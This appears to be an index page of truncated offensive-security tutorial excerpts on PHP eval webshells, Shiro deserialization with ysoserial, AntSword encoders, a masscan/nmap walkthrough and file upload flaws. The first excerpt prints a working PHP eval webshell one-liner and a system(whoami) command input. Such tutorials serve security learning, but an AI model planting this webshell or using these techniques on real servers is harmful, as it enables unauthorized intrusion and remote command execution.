Freaks City

Code Execution Functions in PHP 1. eval() Function Usage: The passed argument must be PHP code ending with a semicolon. Command execution: cmd=system(whoami); Webshell password: cmd <?php @eval($_POST['cmd']);?> When you cannot connect to the webshell, you can use the following file upload script to upload a larger webshell. First, cr ...

Exploiting Shiro RememberMe Deserialization for Webshell Creation Modifying ysoserial for Java Code Execution Payloads The default implementation in ysoserial can be enhanced to support direct Java code execution. Below is the modified code that checks if the command parameter starts with "code:" to determine whether to execute a system comma ...

Implementing custom encoders in AntSword requires separating encryption and decryption logic across two layers. This approach enhances security by using parameterized payload transmission. The core syntax follows: /** * @param {String} pwd Connection password * @param {Array} data Payload array before processing * @return {Array} Processed p ...

Information Gathering Target IP: 192.168.0.104 Port Scanning Perform full port scanning using masscan for speed, followed by detailed nmap scanning of open ports: masscan -p 1-65535 192.168.0.104 --rate=1000 Ports 445, 3389, and 80 indicate a Windows server with MySQL database. Web service runs on port 80, displaying a PHPStudy default page. D ...

1 File Upload Vulnerability Overview File upload functionality is a common feature in virtually all web applications and server-client systems. Users need to upload images for articles and blog posts, profile pictures, or various files to cloud storage services. If servers lack proper filtering mechanisms, allowing webshells, executable files, ...

HTTP Request Methods and Data TransmissionWhen clients interact with web servers, HTTP/HTTPS protocols facilitate the exchange of request and response messages. The primary methods for transmitting data are GET and POST.GET Request: Parameters are appended to the URL as query strings, separated by ampersands (e.g., http://target.org/api?user=ad ...